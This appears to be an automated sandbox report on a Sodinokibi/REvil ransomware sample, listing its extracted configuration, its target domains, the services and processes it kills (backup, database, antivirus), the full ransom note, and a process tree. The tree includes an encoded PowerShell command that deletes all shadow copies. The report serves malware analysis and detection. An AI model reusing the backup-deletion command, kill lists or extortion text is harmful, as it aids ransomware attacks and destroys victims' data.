Resubmissions
28/07/2024, 16:34
240728-t3cqnasfml1028/07/2024, 16:18
240728-tsfdsssbpr1026/07/2024, 07:19
240726-h5sn4stdnm10Analysis
- max time kernel
120s - max time network
156s - platform
windows7_x64 - resource
win7-20240708-en - resource tags
- submitted
28/07/2024, 16:18
General
- Target ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
- Size 139KB
- Sample240728-tsfdsssbpr
- SHA256 ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae
Malware Config
Extracted
-
sodinokibi
-
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
-
4085
-
sandd.nl
-
digivod.de
-
southeasternacademyofprosthodontics.org
-
resortmtn.com
-
mdk-mediadesign.de
-
tetinfo.in
-
fayrecreations.com
-
ecpmedia.vn
-
physiofischer.de
-
highlinesouthasc.com
-
antenanavi.com
-
blog.solutionsarchitect.guru
-
deepsouthclothingcompany.com
-
coursio.com
-
quickyfunds.com
-
atmos-show.com
-
pawsuppetlovers.com
-
hokagestore.com
-
midmohandyman.com
-
mmgdouai.fr
-
net
true
-
pid
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
-
prc
sqbcoreservice
dbsnmp
mydesktopservice
outlook
ocomm
excel
mydesktopqos
isqlplussvc
onenote
tbirdconfig
msaccess
encsvc
infopath
steam
thebat
agntsvc
sql
visio
wordpad
winword
dbeng50
powerpnt
firefox
xfssvccon
mspub
oracle
thunderbird
ocssd
synctime
ocautoupds
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
4085
-
svc
memtas
mepocs
backup
sophos
sql
svc$
veeam
vss
Extracted
-
C:\Users\n9d25smb00-readme.txt
-
sodinokibi
- ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension n9d25smb00. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/ECFF06A7153931AB 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/ECFF06A7153931AB Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: JbbD1HQSjTK1Ki+hX6G8QUm4AuvFuhf9UwXUKYLVVaCzOckZH7UHfvFExgI3A7/H kNaCUUj9YMKbMpYpMCVKX6syEW+VIQW9GFDA5qXxVLzmLZ3vCv1gPbxoMwK5FUmC 7iVOR62uAJrPssFPHtf5ri9P2Jyzf6hbAz86NW/A1HQhWlROzNitIu+7O/WOmfTZ 6x307SU43Dpl2Y7FYy15BzkhoOdU2WKuV/ibNo/xlmT4kiTCtp46J5HBGbgsHz1A EnSyMI+eaz6kKpQH8eU8GNX5MCcvwEK+8tuJp7ouPFYFmlALjRXCbNOadOlccuvO U0WuaXQOi80ZWXpR0hB/5Ps6t/Bn5FomhHk590evzqcAvXjwrjUJl+TIIRA8pTB2 O0ZKwhY2bNNoiU8oNAqCO2Q/CUlY3o9vmYq3dEyDf9cK+LtpdvG6pDcXLF3LwzIh GsfZr/lmkJ8IQjdDitislWeR8ntugW0NqKvF1wW+/pc9zFb8xRF74o8X0K/KWdta pXx3PQfX27FV2bwRhb3bd4UAvd3KiGFD38TFoNXr0xaLNWc4qkkR5lYhPItnFvgl SsJJAIwau3WMJwLtV67mwT92kfG/Kaer1yu7lNaPTdU4O6e+ehH7O2S1FbtFHCHV ViyR3pYgLjxOujaFfBlfAR109YN2mjlInmlAbuFefVFQ8tV5g2jOMa8RmS2MFcrz K7W5ywp6yzruXKkt4zFRtFjQX1Ezf4sANpGp+tluxER9uq37apXaEgSoKUiWT/PZ eXpFl56G9wqYyM8aUNzzCfp4SPpc9lJ2QdK9RLJrVd3nMUDx+jtI2B2ZigyS94st PiiqUy4V5+zGxoxLZDBKUniliei+EGFGCx/drks3aznOHPGiCSgQGtFYbsrvfz0M /vW0refSa94JMGyywuxIFNl7RkruZYYCWoHOGiw1wL59U8C+g43YQZG5LqmInjSN sXnuvvg8w9SM4JHZ7eSgQ6YxiXO/SLXvSpkEGZjKMQRwjdV6q/nsYmSoTTGslv5w lve1Czn8SBJYWUEF0gtf+mPt1X34L/yoDqZUf7OIkVY2LoHtfXzj6RXzL4t86uVo yOpwqRezTbZkndi/lM7y9R4T/xjGKjuV3EUAU+rVXqImxlcd+r0LNX6X6JODQ/62 kcTqpzF6uJIwN0NHML/54Tj3t7o72yimVWGGM4Q+k74yrioszDG8CzvVuQMphOuH nZolTW5Uy8324KG/SJnWLnUuRLro6b1RC+JwI1kgaE6eBcdMY2QKC4HHdQN0cajM nE2zRiKbxaXIWBJrJW4W+PTlAEMaQ0SLtFxJGQ+2V1OYQcvQ6ewyFxctIQPqrQYc hY8UEhSJMLqSgI6gtk1kqd4TizvX1aiD2UJ0DahxzFJZi0tmlC2BEg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/ECFF06A7153931AB
-
http://decryptor.cc/ECFF06A7153931AB
Signatures
- Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe"C:\Users\Admin\AppData\Local\Temp\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Kufmxd.exeC:\Users\Admin\AppData\Local\Temp\Kufmxd.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\30f41de8.bat" "3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
k2[1].rar
309B609E.exe
30f41de8.bat
Kufmxd.exe
n9d25smb00-readme.txt
memory/2404-10-0x0000000000960000-0x0000000000969000-memory.dmp
memory/2404-9-0x0000000000960000-0x0000000000969000-memory.dmp
memory/2404-8-0x00000000002F0000-0x0000000000317000-memory.dmp
memory/2404-526-0x0000000000960000-0x0000000000969000-memory.dmp
memory/2404-527-0x0000000000960000-0x0000000000969000-memory.dmp
memory/2404-66-0x00000000002F0000-0x0000000000317000-memory.dmp
memory/2588-53-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-54-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-52-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-51-0x0000000002870000-0x0000000002878000-memory.dmp
memory/2588-67-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-68-0x000007FEF556E000-0x000007FEF556F000-memory.dmp
memory/2588-69-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-70-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-50-0x000000001B6F0000-0x000000001B9D2000-memory.dmp
memory/2588-49-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp
memory/2588-48-0x000007FEF556E000-0x000007FEF556F000-memory.dmp
memory/2652-11-0x0000000000960000-0x0000000000969000-memory.dmp
memory/2652-64-0x0000000000960000-0x0000000000969000-memory.dmp